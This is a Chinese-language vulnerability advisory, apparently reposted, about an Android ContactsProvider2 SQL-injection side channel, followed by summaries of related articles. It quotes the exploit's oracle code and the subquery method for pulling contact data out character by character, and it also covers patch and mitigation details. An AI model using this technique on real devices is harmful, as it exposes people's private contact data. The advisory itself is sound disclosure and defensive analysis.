【漏洞告警】安卓14到16全中招,通讯录SQL注入漏洞正在抄家(POC已公开)"

admin 2026-10-17 09:14:39 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

【漏洞告警】安卓 14 到 16 全中招,通讯录 SQL 注入漏洞正在抄家(POC已公开)

YGnight
YGnight

night安全

2026年8月16日 23:36
四川

在小说阅读器读本章

去阅读

一、漏洞描述

CVE-2026-0075 是 Android 通讯录提供方 ContactsProvider2 的本地漏洞,近期POC已经被公开了,通过对poc的分析简单写了这篇文章。

CVE 编号 CVE-2026-0075
漏洞类型 本地信息泄露,SQL 注入侧信道
影响组件 Android ContactsProvider2
受影响版本 Android 14、15、16、16-qpr2
修复 2026-06-05 补丁级别;AOSP commit bb9f36b3ff6d42136afb61d527e1e8f67242fe32
官方评级 High,Android 安全公告
攻击前提 获得通讯录 data/ 读授权;不依赖 READ\_CONTACTS
PoC 来源 GitHub qm4rs/CVE-2026-0075

CVE-2026-0075漏洞是本地信息泄露,利用之前需要先获得通讯录数据 URI 的读授权,PoC 仅用于受控环境,结果与设备构建及补丁级别相关,不构成任意应用直接读取通讯录的通用条件。

二、漏洞原理

漏洞产生的真正原因是查询条件未参数化导致错误反馈。  ContactsProvider2 将调用字符传入的 selection 拼入自身 SQL 执行,权限检查仅覆盖应用直接查询,SQL  内嵌子查询可访问 data、mimetypes 等底层表。未声明 READ\_CONTACTS 的调用方通过以下方式获得判定反馈。

以下贴上PoC的部分关键代码:

private static String oracleSelection(String predicate) {
    return \"(CASE WHEN (\" + predicate + \") THEN json_extract(char(123), char(36)) ELSE 1 END)\";
}

char(123) 为 '{',char(36) 为 '$'。条件为真时执行 json\_extract('{','$'),JSON 解析失败抛出 SQLiteException;条件为假时返回 1,查询正常。判定逻辑:

private boolean rawOraclePredicate(String predicate) {
    try {
        cursor = getContentResolver().query(grantedDataUri,
            new String[] {\"_id\"}, oracleSelection(predicate), null, \"_id ASC\");
        cursor.getCount();
        return false;                  // 未抛异常,条件为假
    } catch (android.database.sqlite.SQLiteException e) {
        return true;                   // 抛出异常,条件为真
    }
}

查询条件里用子查询直接访问通讯录底层表,示例:

(SELECT d.data1 FROM data d WHERE d._id=5)

data1 为通讯录数据正文,姓名、电话、邮箱均存储于 data 表。抽取流程分四步:

  1. 以 max(\_id) 二分确定 data 表行号上限。
  2. 以 EXISTS 子查询枚举行号。
  3. 以 unicode(substr(...)) 将字符码点逐位二分,逐字符还原字段内容。
  4. 按 raw\_contact\_id 归组,重建联系人记录。

三、修复建议

官方已经在2260605发布安全补丁 。AOSP commit bb9f36b3ff6d42136afb61d527e1e8f67242fe32,标题 Fix side  channel attacks in CP2:对未声明 READ\_CONTACTS 的调用方去除 JSON 相关 SQLiteException  错误细节,并把查询结果真正取出来的环节挪进异常处理路径。

避免向不信任应用传递 content:// 读授权;系统与 ROM 厂商跟进 ContactsProvider2 修复。


【漏洞告警】安卓14到16全中招,通讯录SQL注入漏洞正在抄家(POC已公开)" 网络安全文章

【漏洞告警】安卓14到16全中招,通讯录SQL注入漏洞正在抄家(POC已公开)"

CVE-2026-0075是Android通讯录ContactsProvider2的本地信息泄露与SQL注入侧信道漏洞,影响安卓14至16版本。漏洞源于查询条件未参数化,攻击者可在未声明READ\\_CONTACTS权限的情况下,通过SQLiteException错误反馈逐字符提取通讯录数据。官方已于2026年6月5日发布安全补丁,建议用户立即更新系统并避免向不信任应用授予通讯录数据URI读授权。
BedsideHTB渗透测试Writeup—从PDF反序列化到Root" 网络安全文章

BedsideHTB渗透测试Writeup—从PDF反序列化到Root"

本文详细记录了BedsideHTB渗透测试过程,攻击链从利用pdfminer.six的pickle反序列化漏洞(CVE-2025-64512)获得Docker容器RCE开始,通过esm.sh/x路径遍历窃取SSH私钥登录宿主机,最后利用MONAICheckpointLoader反序列化漏洞(CVE-2025-58756)提权至root。文章强调了X-Powered-By头暴露信息的重要性,并提供了polyglot文件构造等可操作技巧。
U8CVulScan—用友U8Cloud/NC漏洞扫描工具" 网络安全文章

U8CVulScan—用友U8Cloud/NC漏洞扫描工具"

本文介绍一款针对用友U8及NC系统的漏洞扫描工具,支持36项检测覆盖SQL注入与反序列化RCE等漏洞。核心亮点为具备补丁绕过检测能力,能利用白名单逻辑缺陷突破官方防御。工具支持批量扫描与代理,但完整利用代码需加入知识星球获取,属技术分享与引流结合的内容。
U盘触发的零点击攻击:Windows驱动安装机制被滥用" 网络安全文章

U盘触发的零点击攻击:Windows驱动安装机制被滥用"

一种名为PlugandPwn的新型攻击利用Windows即插即用机制,通过插入恶意USB设备或RDPUSB重定向实现零点击提权。攻击者模拟USB硬件触发系统自动安装存在漏洞的厂商驱动,组合多个厂商缺陷(如Sierra无线网卡、Sony读卡器)构建攻击链,最终以SYSTEM权限执行代码。物理攻击无需用户交互,远程攻击需目标开启USB重定向。建议企业限制USB重定向并审查驱动安全。
评论:0   参与:  0